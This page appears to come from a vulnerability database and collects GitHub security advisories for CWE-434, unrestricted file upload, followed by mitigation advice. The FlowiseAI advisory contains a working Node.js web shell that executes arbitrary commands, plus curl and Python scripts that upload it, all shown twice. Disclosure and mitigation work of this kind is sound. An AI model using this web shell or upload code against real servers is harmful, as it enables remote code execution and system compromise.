CWE-434
AllowedUnrestricted Upload of File with Dangerous Type
Abstraction: Base · Status: Draft
The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.
5970 vulnerabilities reference this CWE, most recent first.
GHSA-34WR-W2H3-HR5X
Vulnerability from github – Published: 2024-05-15 18:30 – Updated: 2025-01-21 18:31File Upload vulnerability in unauthenticated session found in OpenText™ iManager 3.2.6.0200. The vulnerability could allow ant attacker to upload a file without authentication.
{
"affected": [],
"aliases": [
"CVE-2024-3488"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-15T17:15:14Z",
"severity": "MODERATE"
},
"details": "File Upload vulnerability in unauthenticated\nsession found in OpenText\u2122 iManager 3.2.6.0200.\u00a0The vulnerability could allow ant attacker to upload a\nfile without authentication.\n\n",
"id": "GHSA-34wr-w2h3-hr5x",
"modified": "2025-01-21T18:31:03Z",
"published": "2024-05-15T18:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3488"
},
{
"type": "WEB",
"url": "https://www.netiq.com/documentation/imanager-32/imanager326_patch3_hf1_releasenotes/data/imanager326_patch3_hf1_releasenotes.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-34XW-7XVF-PFGM
Vulnerability from github – Published: 2022-08-09 00:00 – Updated: 2022-08-13 00:00In Airspan AirSpot 5410 version 0.3.4.1-4 and under there exists an Unauthenticated remote Arbitrary File Upload vulnerability which allows overwriting arbitrary files. A malicious actor can remotely upload a file of their choice and overwrite any file in the system by manipulating the filename and append a relative path that will be interpreted during the upload process. Using this method, it is possible to rewrite any file in the system or upload a new file.
{
"affected": [],
"aliases": [
"CVE-2022-36264"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-08T15:15:00Z",
"severity": "CRITICAL"
},
"details": "In Airspan AirSpot 5410 version 0.3.4.1-4 and under there exists an Unauthenticated remote Arbitrary File Upload vulnerability which allows overwriting arbitrary files. A malicious actor can remotely upload a file of their choice and overwrite any file in the system by manipulating the filename and append a relative path that will be interpreted during the upload process. Using this method, it is possible to rewrite any file in the system or upload a new file.",
"id": "GHSA-34xw-7xvf-pfgm",
"modified": "2022-08-13T00:00:53Z",
"published": "2022-08-09T00:00:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36264"
},
{
"type": "WEB",
"url": "https://gist.github.com/Nwqda/e82b3155401b094372195fdaa9b54833"
},
{
"type": "WEB",
"url": "https://wdi.rfwel.com/cdn/techdocs/AirSpot5410.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3554-WWHQ-78H4
Vulnerability from github – Published: 2025-07-12 06:30 – Updated: 2025-07-12 06:30The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image_upload_handle() function hooked via the 'add_booking_type' route in all versions up to, and including, 1.0.4. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
{
"affected": [],
"aliases": [
"CVE-2025-6058"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-12T05:15:22Z",
"severity": "CRITICAL"
},
"details": "The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image_upload_handle() function hooked via the \u0027add_booking_type\u0027 route in all versions up to, and including, 1.0.4. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site\u0027s server which may make remote code execution possible.",
"id": "GHSA-3554-wwhq-78h4",
"modified": "2025-07-12T06:30:23Z",
"published": "2025-07-12T06:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6058"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wpbookit/trunk/core/admin/classes/controllers/class.wpb-booking-type-controller.php#L455"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3314288%40wpbookit\u0026new=3314288%40wpbookit\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1d779ad1-fdbe-444c-85c5-99146a1a03d8?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3558-J79F-VVM6
Vulnerability from github – Published: 2026-01-13 19:15 – Updated: 2026-01-13 19:15Impact
Gin-vue-admin <= v2.8.7 has a path traversal vulnerability in the breakpoint resume upload functionality. Attacker can upload any files on any directory.
Path traversal vulnerabilities occur when a web application accepts user-supplied file paths without proper validation, allowing attackers to access or write files outside the intended directory. In the breakpoint_continue.go file, the MakeFile function accepts a fileName parameter through the /fileUploadAndDownload/breakpointContinueFinish API endpoint and directly concatenates it with the base directory path (./fileDir/) using os.OpenFile() without any validation for directory traversal sequences (e.g., ../).
Notably, while the related makeFileContent function in the same file properly validates the fileName parameter by checking for .. sequences, the MakeFile function lacks this security control, indicating an inconsistent security implementation.
An attacker with file upload privileges (role ID 888 - super administrator) could exploit this vulnerability by:
First uploading file chunks through the /fileUploadAndDownload/breakpointContinue endpoint (which has proper validation)
Then calling the /fileUploadAndDownload/breakpointContinueFinish endpoint with a malicious fileName parameter containing path traversal sequences (e.g., ../../../tmp/malicious.txt)
This could lead to: Arbitrary file creation, application process, Configuration file overwriting, Potential Remote Code Execution......
POC
-
Use this endpoint to upload any files(include name or file types)
-
Then, the
filenameparameter here uses../to traverse to an arbitrary path. -
Proof
Patches
Please wait for the latest patch
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/flipped-aurora/gin-vue-admin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.8.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22786"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-434"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-13T19:15:13Z",
"nvd_published_at": "2026-01-12T22:16:08Z",
"severity": "HIGH"
},
"details": "### Impact\nGin-vue-admin \u003c= v2.8.7 has a path traversal vulnerability in the breakpoint resume upload functionality. Attacker can upload any files on any directory.\n\nPath traversal vulnerabilities occur when a web application accepts user-supplied file paths without proper validation, allowing attackers to access or write files outside the intended directory. In the breakpoint_continue.go file, the MakeFile function accepts a fileName parameter through the /fileUploadAndDownload/breakpointContinueFinish API endpoint and directly concatenates it with the base directory path (./fileDir/) using os.OpenFile() without any validation for directory traversal sequences (e.g., ../).\n\nNotably, while the related makeFileContent function in the same file properly validates the fileName parameter by checking for .. sequences, the MakeFile function lacks this security control, indicating an inconsistent security implementation.\n\nAn **attacker with file upload privileges (role ID 888 - super administrator)** could exploit this vulnerability by:\n\nFirst uploading file chunks through the /fileUploadAndDownload/breakpointContinue endpoint (which has proper validation)\n\nThen calling the /fileUploadAndDownload/breakpointContinueFinish endpoint with a malicious fileName parameter containing path traversal sequences (e.g., ../../../tmp/malicious.txt)\n\nThis could lead to:\nArbitrary file creation, application process, Configuration file overwriting, Potential Remote Code Execution......\n\n### POC\n1. Use this endpoint to upload any files(include *name or *file types)\n\u003cimg width=\"1429\" height=\"788\" alt=\"Clipboard_Screenshot_1767755216\" src=\"https://github.com/user-attachments/assets/516022d6-32af-4810-abd9-945cb0bc5ae5\" /\u003e\n\n2. Then, the `filename` parameter here uses `../` to traverse to an arbitrary path. \n\u003cimg width=\"1445\" height=\"306\" alt=\"Clipboard_Screenshot_1767755256\" src=\"https://github.com/user-attachments/assets/577aa1c1-9b26-4082-b431-f9dac1cdc307\" /\u003e\n\n3. Proof\n\u003cimg width=\"837\" height=\"843\" alt=\"Clipboard_Screenshot_1767755312\" src=\"https://github.com/user-attachments/assets/66f51049-8dc8-4c94-994e-a6d8bc1196a9\" /\u003e\n\n\n### Patches\nPlease wait for the latest patch",
"id": "GHSA-3558-j79f-vvm6",
"modified": "2026-01-13T19:15:13Z",
"published": "2026-01-13T19:15:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/flipped-aurora/gin-vue-admin/security/advisories/GHSA-3558-j79f-vvm6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22786"
},
{
"type": "WEB",
"url": "https://github.com/flipped-aurora/gin-vue-admin/commit/2242f5d6e133e96d1b359ac019bf54fa0e975dd5"
},
{
"type": "PACKAGE",
"url": "https://github.com/flipped-aurora/gin-vue-admin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Gin-vue-admin has arbitrary file upload vulnerability caused by path traversal"
}
GHSA-35G6-RRW3-V6XC
Vulnerability from github – Published: 2025-10-08 19:34 – Updated: 2025-12-16 23:18Summary
A file upload vulnerability in FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).
Details
The system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered.
The uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities.
Taint Flow
-
Taint 01: Route Registration
POSTfile requests are routed to the controller via Multer
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/routes/attachments/index.ts#L8 -
Taint 02: Multer Settings
Uploaded files are stored temporarily before further handling
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/index.ts#L1950-L1954 -
Taint 03: Controller
Receives the file from Multer and delegates to the service
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/controllers/attachments/index.ts#L4-L11 -
Taint 04: Service Layer
Processes the file and sends results back to controller
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/services/attachments/index.ts#L7-L16 -
Taint 05: createFileAttachment
Extracts metadata, moves file to permanent storage
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/createAttachment.ts#L118-L126 -
Taint 06: File Save Path
Creates storage directory and saves file
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L170-L175
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L533-L541 -
Taint 07: File Filtering
Filters dangerous characters in file names but does not reject malicious content
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L1104-L1111
PoC
shell.js (Node.js Web Shell)
const { exec } = require('child_process');
const http = require('http');
const server = http.createServer((req, res) => {
const url = new URL(req.url, 'http://localhost');
const cmd = url.searchParams.get('cmd');
if (cmd) {
console.log(`Executing: ${cmd}`);
exec(cmd, (error, stdout, stderr) => {
res.writeHead(200, {'Content-Type': 'text/plain'});
if (error) {
res.end(`Error: ${error.message}\n${stderr || ''}`);
} else {
res.end(stdout || 'Command executed successfully');
}
});
} else {
res.writeHead(200, {'Content-Type': 'text/html'});
res.end(`
<h1>Node.js Web Shell</h1>
<p>Use ?cmd=command to execute</p>
<p>Example: ?cmd=id</p>
`);
}
});
const PORT = 8888;
server.listen(PORT, '0.0.0.0', () => {
console.log(`Shell running on port ${PORT}`);
console.log(`Access: http://localhost:${PORT}?cmd=id`);
});
curl Upload
curl -X POST "http://localhost:3000/api/v1/attachments/0237eefc-18c5-46b2-8b3c-97aa516133fc/$(uuidgen)" \
-H "Cookie: jwt=ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0" \
-F "files=@shell.js;type=application/javascript"
Python Upload Script
import requests
import uuid
TARGET_URL = "http://localhost:3000"
CHATFLOW_ID = "0237eefc-18c5-46b2-8b3c-97aa516133fc"
TOKEN = "ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0"
CHAT_ID = str(uuid.uuid4())
def upload_shell():
url = f"{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}"
headers = {'Cookie': f'jwt={TOKEN}'}
files = {'files': ('shell.js', open('shell.js', 'rb'), 'application/javascript')}
r = requests.post(url, headers=headers, files=files)
if r.status_code == 200:
print("[✓] Upload success")
print(r.text)
else:
print(f"[✗] Upload failed ({r.status_code})")
print(r.text)
if __name__ == "__main__":
upload_shell()
Impact
An attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.7"
},
{
"fixed": "3.0.8"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.0.7"
]
}
],
"aliases": [
"CVE-2025-61687"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-08T19:34:21Z",
"nvd_published_at": "2025-10-06T16:15:35Z",
"severity": "HIGH"
},
"details": "### Summary\nA file upload vulnerability in FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).\n\n### Details\nThe system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered.\n\nThe uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities.\n\n#### Taint Flow\n\n- **Taint 01: Route Registration** \n `POST` file requests are routed to the controller via Multer \n https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/routes/attachments/index.ts#L8\n\n- **Taint 02: Multer Settings** \n Uploaded files are stored temporarily before further handling \n https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/index.ts#L1950-L1954\n\n- **Taint 03: Controller** \n Receives the file from Multer and delegates to the service \n https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/controllers/attachments/index.ts#L4-L11\n\n- **Taint 04: Service Layer** \n Processes the file and sends results back to controller \n https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/services/attachments/index.ts#L7-L16\n\n- **Taint 05: createFileAttachment** \n Extracts metadata, moves file to permanent storage \n https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/createAttachment.ts#L118-L126\n\n- **Taint 06: File Save Path** \n Creates storage directory and saves file \n https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L170-L175 \n https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L533-L541\n\n- **Taint 07: File Filtering** \n Filters dangerous characters in file names but does not reject malicious content \n https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L1104-L1111\n\n### PoC\n\n#### shell.js (Node.js Web Shell)\n```js\nconst { exec } = require(\u0027child_process\u0027);\nconst http = require(\u0027http\u0027);\n\nconst server = http.createServer((req, res) =\u003e {\n const url = new URL(req.url, \u0027http://localhost\u0027);\n const cmd = url.searchParams.get(\u0027cmd\u0027);\n\n if (cmd) {\n console.log(`Executing: ${cmd}`);\n exec(cmd, (error, stdout, stderr) =\u003e {\n res.writeHead(200, {\u0027Content-Type\u0027: \u0027text/plain\u0027});\n if (error) {\n res.end(`Error: ${error.message}\\n${stderr || \u0027\u0027}`);\n } else {\n res.end(stdout || \u0027Command executed successfully\u0027);\n }\n });\n } else {\n res.writeHead(200, {\u0027Content-Type\u0027: \u0027text/html\u0027});\n res.end(`\n \u003ch1\u003eNode.js Web Shell\u003c/h1\u003e\n \u003cp\u003eUse ?cmd=command to execute\u003c/p\u003e\n \u003cp\u003eExample: ?cmd=id\u003c/p\u003e\n `);\n }\n});\n\nconst PORT = 8888;\nserver.listen(PORT, \u00270.0.0.0\u0027, () =\u003e {\n console.log(`Shell running on port ${PORT}`);\n console.log(`Access: http://localhost:${PORT}?cmd=id`);\n});\n```\n\n#### curl Upload\n```bash\ncurl -X POST \"http://localhost:3000/api/v1/attachments/0237eefc-18c5-46b2-8b3c-97aa516133fc/$(uuidgen)\" \\\n -H \"Cookie: jwt=ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0\" \\\n -F \"files=@shell.js;type=application/javascript\"\n```\n\n#### Python Upload Script\n```python\nimport requests\nimport uuid\n\nTARGET_URL = \"http://localhost:3000\"\nCHATFLOW_ID = \"0237eefc-18c5-46b2-8b3c-97aa516133fc\"\nTOKEN = \"ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0\"\nCHAT_ID = str(uuid.uuid4())\n\ndef upload_shell():\n url = f\"{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}\"\n headers = {\u0027Cookie\u0027: f\u0027jwt={TOKEN}\u0027}\n files = {\u0027files\u0027: (\u0027shell.js\u0027, open(\u0027shell.js\u0027, \u0027rb\u0027), \u0027application/javascript\u0027)}\n r = requests.post(url, headers=headers, files=files)\n\n if r.status_code == 200:\n print(\"[\u2713] Upload success\")\n print(r.text)\n else:\n print(f\"[\u2717] Upload failed ({r.status_code})\")\n print(r.text)\n\nif __name__ == \"__main__\":\n upload_shell()\n```\n\n\u003cimg width=\"1900\" height=\"981\" alt=\"image\" src=\"https://github.com/user-attachments/assets/e0d6a11e-445e-447c-a8f3-c0cb0b9ffb3f\" /\u003e\n\n\n### Impact\nAn attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.",
"id": "GHSA-35g6-rrw3-v6xc",
"modified": "2025-12-16T23:18:27Z",
"published": "2025-10-08T19:34:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-35g6-rrw3-v6xc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61687"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L1104-L1111"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L170-L175"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L533-L541"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/controllers/attachments/index.ts#L4-L11"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/routes/attachments/index.ts#L8"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/services/attachments/index.ts#L7-L16"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/createAttachment.ts#L118-L126"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/index.ts#L1950-L1954"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "FlowiseAI/Flosise has File Upload vulnerability"
}
GHSA-35P2-5VRH-M3P6
Vulnerability from github – Published: 2025-01-30 15:31 – Updated: 2025-02-06 17:22DevDojo Voyager through version 1.8.0 is vulnerable to bypassing the file type verification when an authenticated user uploads a file via /admin/media/upload. An authenticated user can upload a web shell causing arbitrary code execution on the server.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "tcg/voyager"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.8.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-55417"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-06T17:22:23Z",
"nvd_published_at": "2025-01-30T15:15:17Z",
"severity": "MODERATE"
},
"details": "DevDojo Voyager through version 1.8.0 is vulnerable to bypassing the file type verification when an authenticated user uploads a file via /admin/media/upload. An authenticated user can upload a web shell causing arbitrary code execution on the server.",
"id": "GHSA-35p2-5vrh-m3p6",
"modified": "2025-02-06T17:22:23Z",
"published": "2025-01-30T15:31:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55417"
},
{
"type": "PACKAGE",
"url": "https://github.com/thedevdojo/voyager"
},
{
"type": "WEB",
"url": "https://github.com/thedevdojo/voyager/blob/1.6/src/Http/Controllers/VoyagerMediaController.php#L238"
},
{
"type": "WEB",
"url": "https://www.sonarsource.com/blog/the-tainted-voyage-uncovering-voyagers-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "DevDojo Voyager Arbitrary File Write"
}
GHSA-35P4-8325-MM2C
Vulnerability from github – Published: 2024-03-31 21:30 – Updated: 2026-04-28 21:34Unrestricted Upload of File with Dangerous Type vulnerability in Techeshta Layouts for Elementor.This issue affects Layouts for Elementor: from n/a before 1.8.
{
"affected": [],
"aliases": [
"CVE-2024-30533"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-31T19:15:46Z",
"severity": "HIGH"
},
"details": "Unrestricted Upload of File with Dangerous Type vulnerability in Techeshta Layouts for Elementor.This issue affects Layouts for Elementor: from n/a before 1.8.",
"id": "GHSA-35p4-8325-mm2c",
"modified": "2026-04-28T21:34:27Z",
"published": "2024-03-31T21:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30533"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/layouts-for-elementor/wordpress-layouts-for-elementor-plugin-1-8-arbitrary-file-upload-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-35VX-VX6V-J9X7
Vulnerability from github – Published: 2025-04-10 09:30 – Updated: 2026-04-01 18:34Unrestricted Upload of File with Dangerous Type vulnerability in Ability, Inc Accessibility Suite by Online ADA allows Stored XSS. This issue affects Accessibility Suite by Online ADA: from n/a through 4.18.
{
"affected": [],
"aliases": [
"CVE-2025-32215"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-10T08:15:18Z",
"severity": "MODERATE"
},
"details": "Unrestricted Upload of File with Dangerous Type vulnerability in Ability, Inc Accessibility Suite by Online ADA allows Stored XSS. This issue affects Accessibility Suite by Online ADA: from n/a through 4.18.",
"id": "GHSA-35vx-vx6v-j9x7",
"modified": "2026-04-01T18:34:38Z",
"published": "2025-04-10T09:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32215"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/online-accessibility/vulnerability/wordpress-accessibility-suite-plugin-4-17-arbitrary-file-upload-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-35W5-H9V9-M2QP
Vulnerability from github – Published: 2024-10-20 09:30 – Updated: 2026-04-01 18:32Unrestricted Upload of File with Dangerous Type vulnerability in Vasilis Kerasiotis Affiliator allows Upload a Web Shell to a Web Server.This issue affects Affiliator: from n/a through 2.1.3.
{
"affected": [],
"aliases": [
"CVE-2024-49326"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-20T09:15:03Z",
"severity": "CRITICAL"
},
"details": "Unrestricted Upload of File with Dangerous Type vulnerability in Vasilis Kerasiotis Affiliator allows Upload a Web Shell to a Web Server.This issue affects Affiliator: from n/a through 2.1.3.",
"id": "GHSA-35w5-h9v9-m2qp",
"modified": "2026-04-01T18:32:06Z",
"published": "2024-10-20T09:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49326"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/affiliator-lite/vulnerability/wordpress-affiliator-plugin-2-1-3-arbitrary-file-upload-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/affiliator-lite/wordpress-affiliator-plugin-2-1-3-arbitrary-file-upload-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-35X3-RJ44-584Q
Vulnerability from github – Published: 2022-05-14 01:06 – Updated: 2022-05-14 01:06In WonderCMS 2.3.1, the upload functionality accepts random application extensions and leads to malicious File Upload.
{
"affected": [],
"aliases": [
"CVE-2017-14521"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-01-26T20:29:00Z",
"severity": "HIGH"
},
"details": "In WonderCMS 2.3.1, the upload functionality accepts random application extensions and leads to malicious File Upload.",
"id": "GHSA-35x3-rj44-584q",
"modified": "2022-05-14T01:06:18Z",
"published": "2022-05-14T01:06:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14521"
},
{
"type": "WEB",
"url": "https://securitywarrior9.blogspot.in/2018/01/vulnerability-in-wonder-cms-leading-to.html"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/43963"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation
Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [REF-423]
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.
Mitigation
Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.
Mitigation
Strategy: Input Validation
Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[REF-422] [REF-423]
